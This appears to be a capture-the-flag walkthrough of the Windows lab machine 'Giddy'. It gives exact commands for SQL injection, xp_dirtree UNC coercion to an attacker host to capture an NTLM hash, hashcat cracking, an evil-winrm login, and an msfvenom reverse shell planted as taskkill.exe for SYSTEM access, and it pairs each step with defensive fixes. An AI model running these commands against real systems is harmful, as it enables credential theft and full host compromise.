J. Perez Duertojperezduerto.info
← all walkthroughs

Giddy

Windows· Medium· Privilege Escalation
owned
2026-07-08
time to own
11m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered a .NET MVC shopping application on the IIS web server that built SQL queries by concatenating raw user input. Injecting an xp_dirtree call through that flaw caused the MSSQL service — running as the Windows domain user Stacy — to initiate an outbound SMB authentication to my own Responder listener, leaking a Net-NTLMv2 hash. The hash cracked offline, and the recovered credential authenticated a WinRM session that yielded the user flag.

Post-exploitation enumeration revealed the Ubiquiti UniFi Video service running as LocalSystem; on service stop it executes taskkill.exe from C:\ProgramData\unifi-video\ — a directory writable by any standard user. Placing a malicious payload there and stopping the service produced a SYSTEM reverse shell and full machine compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Some commands also carry a value in angle brackets — <stacy_password> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationService and web-content enumeration
Mapped open services and located the MVC web application
An initial nmap scan confirmed IIS on ports 80 and 443, Microsoft RDP on 3389, and Windows Remote Management on 5985. Browsing to port 80 returned an IIS page containing a navigable path to a .NET MVC shopping application at /mvc. Directory enumeration confirmed additional ASPX endpoints including the product-search page that became the exploitation entry point.
Ports 80, 443, 3389, 5985 open; /mvc returns a functional product-catalogue application backed by MSSQL.
Exact commands 2
shell

Targeted service-version scan of the four discovered open ports.

$ nmap -sC -sV -p 80,443,3389,5985 $TARGET -oN giddy_nmap.txt
shell

Enumerate web paths to find /mvc and its child pages.

$ gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x asp,aspx -o giddy_dirs.txt
2ExploitationSQL Injection on MSSQL (CWE-89)
Confirmed MSSQL injection in the product-search parameter
The MVC application's product-search endpoint passed the ProductSubCategoryId query-string value directly into a SQL SELECT statement with no parameterization. Submitting a single quote caused the server to return a raw .NET SqlException, confirming the injection point. Error-based probing recovered the MSSQL version banner, establishing the database engine for technique selection.
A single-quote in ProductSubCategoryId produced a SqlException disclosure; MSSQL 2016 version string returned via error-based payload.
Exact commands 2
shell

Single-quote causes a SqlException; visible error confirms unsanitized input reaches the query.

$ curl -sk "http://$TARGET/mvc/Product.aspx?ProductSubCategoryId=1%27"
shell

Error-based version disclosure confirms MSSQL back-end.

$ curl -sk "http://$TARGET/mvc/Product.aspx?ProductSubCategoryId=1;SELECT+@@version--"
FixEliminate SQL injection by parameterizing all database queriesCritical
WeaknessThe product-search page concatenated the raw ProductSubCategoryId query-string value directly into a SQL SELECT statement, letting any visitor inject arbitrary SQL — including stored procedures that reach external network resources.
FixReplace every dynamic SQL string-building pattern in the MVC application with parameterized queries: use SqlCommand with SqlParameter objects in .NET and never interpolate user input into query text. Apply a strict allow-list on the parameter type (integer only for category IDs) and return a generic error on type mismatch. Audit all other ASPX pages and stored procedures for the same pattern. Deploy a Web Application Firewall rule as a secondary, defense-in-depth layer that does not substitute for parameterization.
3ExploitationForced NTLM authentication via MSSQL xp_dirtree UNC coercion (T1187)
Coerced MSSQL server to authenticate to my SMB and captured Stacy's Net-NTLMv2 hash
With confirmed injection and the xp_dirtree extended stored procedure available to the SQL login, I started a Responder SMB listener on the VPN interface and injected a UNC path payload. The SQL Server process — running under Stacy's Windows identity — initiated an outbound SMB connection to my host and exchanged NTLM credentials. Responder captured the full Net-NTLMv2 challenge-response hash for user Stacy.
Responder printed Stacy::GIDDY::<challenge>:<response> within seconds of the injected request.
Exact commands 2
shell

Start Responder on the HTB VPN interface before sending the injection.

$ sudo responder -I tun0 -wv
shell

Inject xp_dirtree UNC path; replace $ATTACKER_IP with your tun0 address. MSSQL will authenticate to Responder.

$ curl -sk "http://$TARGET/mvc/Product.aspx?ProductSubCategoryId=1;EXEC+xp_dirtree+'\\\\$ATTACKER_IP\\share',1,1--"
FixDisable xp_dirtree, run SQL Server under a managed service account, and block outbound SMBHigh
WeaknessThe SQL Server process ran under a named Windows user account whose NTLM credential could be coerced over the network. The xp_dirtree extended stored procedure — executable by any authenticated SQL login — provided the coercion mechanism, and the service account had no password rotation and cracked quickly against a common wordlist.
FixRevoke execute permission on xp_dirtree and related extended procedures for all non-sysadmin principals: DENY EXECUTE ON xp_dirtree TO PUBLIC; repeat for xp_cmdshell, xp_fileexist, and sp_OACreate. Run the SQL Server service under a Group Managed Service Account (gMSA) with a system-managed 120-character rotating password and no interactive logon rights. Use Windows Firewall to block outbound TCP 445 from the SQL Server host to any destination outside an explicit allowlist. Enable SQL Server Audit or Extended Events to alert on any execution of extended stored procedures.
4ExploitationOffline password cracking — Net-NTLMv2 (T1110.002)
Cracked the Net-NTLMv2 hash offline to recover Stacy's plaintext password
The captured hash was saved from Responder's output and fed to hashcat with the rockyou wordlist. The password cracked in seconds, providing the plaintext Windows credential for the Stacy account that was then verified against both WinRM and RDP.
Hashcat reported the hash cracked; recovered credential authenticated successfully to WinRM on port 5985.
Exact commands 1
shell

Mode 5600 targets Net-NTLMv2. Paste the full Responder hash line into stacy_hash.txt.

$ hashcat -m 5600 stacy_hash.txt /usr/share/wordlists/rockyou.txt --force
5FootholdRemote interactive logon via Windows Remote Management (T1021.006)
Authenticated via WinRM as Stacy and captured the user flag
Using the cracked credential, I opened a PowerShell session over WinRM on port 5985. The session landed as a standard local user with access to the Desktop, where the user flag was present.
Evil-winrm produced an interactive PS session; user.txt read from C:\Users\Stacy\Desktop\.
Exact commands 2
shell

Replace <stacy_password> with the value recovered by hashcat.

$ evil-winrm -i $TARGET -u Stacy -p '<stacy_password>'
shell

Retrieves the user flag -> <user.txt>

$ type C:\Users\Stacy\Desktop\user.txt
6Privilege EscalationExecutable path hijacking via writable service program-data directory (T1574.005)
Identified SYSTEM-level Ubiquiti UniFi Video service loading an executable from a user-writable path
Enumerating installed applications and running services revealed the Ubiquiti UniFi Video surveillance management application. The service runs as LocalSystem. On service shutdown the Windows service manager invokes taskkill.exe from C:\ProgramData\unifi-video\ — a path that carries write permissions for the BUILTIN\Users group, meaning any local user can plant an executable there. No legitimate taskkill.exe existed in that directory, leaving the execution slot fully open.
Icacls C:\ProgramData\unifi-video\ showed BUILTIN\Users:(OI)(CI)(W); no taskkill.exe was present in the directory.
Exact commands 3
shell

Confirm the UniFi Video service is present and note its name.

$ Get-Service | Where-Object {$_.DisplayName -like '*Ubiquiti*'}
shell

Verify that standard users have write access to the service's working directory.

$ icacls 'C:\ProgramData\unifi-video'
shell

Confirm taskkill.exe is absent, meaning the hijack slot is unoccupied.

$ ls 'C:\ProgramData\unifi-video\'
FixUpdate or remove Ubiquiti UniFi Video and lock the service program-data directory to administrators onlyCritical
WeaknessThe Ubiquiti UniFi Video service runs as LocalSystem and invokes taskkill.exe from C:\ProgramData\unifi-video\ — a directory writable by all local users — on service shutdown. Any standard user can place a malicious executable there and obtain SYSTEM code execution the next time the service cycles, which is a known vulnerability in older UniFi Video builds.
FixUninstall Ubiquiti UniFi Video if not operationally required; if required, update to the latest patched version. Regardless of version, remove write permissions for non-administrative users from C:\ProgramData\unifi-video\ using icacls to grant access only to SYSTEM and the Administrators group: icacls "C:\ProgramData\unifi-video" /inheritance:d /remove Users /grant Administrators:F /grant SYSTEM:F. Deploy a Windows Defender Application Control (WDAC) or AppLocker policy that prevents execution of unsigned binaries from any ProgramData subdirectory.
7Privilege EscalationService binary hijacking for SYSTEM privilege escalation (T1574.005)
Hijacked service execution to obtain a SYSTEM reverse shell and captured the root flag
A reverse-shell payload was generated, renamed taskkill.exe, and uploaded to C:\ProgramData\unifi-video\. With a listener ready on the attack machine, the Ubiquiti UniFi Video service was stopped. The service manager called the malicious taskkill.exe as LocalSystem, delivering a SYSTEM-level shell. The root flag was retrieved from the Administrator Desktop.
Listener received a SYSTEM shell connection immediately after Stop-Service; root.txt read from C:\Users\Administrator\Desktop\.
Exact commands 5
shell

Build the payload; replace $ATTACKER_IP with your tun0 IP.

$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 -f exe -o taskkill.exe
shell

Upload via the active evil-winrm session.

$ upload taskkill.exe 'C:\ProgramData\unifi-video\taskkill.exe'
shell

Start the listener on the attack host before stopping the service.

$ nc -lvnp 4444
shell

Stopping the service triggers execution of the malicious taskkill.exe as SYSTEM.

$ Stop-Service -Name 'Ubiquiti UniFi Video'
shell

Read the root flag from the SYSTEM shell -> <root.txt>

$ type C:\Users\Administrator\Desktop\root.txt

Exposed services

80/tcp
443/tcp
3389/tcp
5985/tcp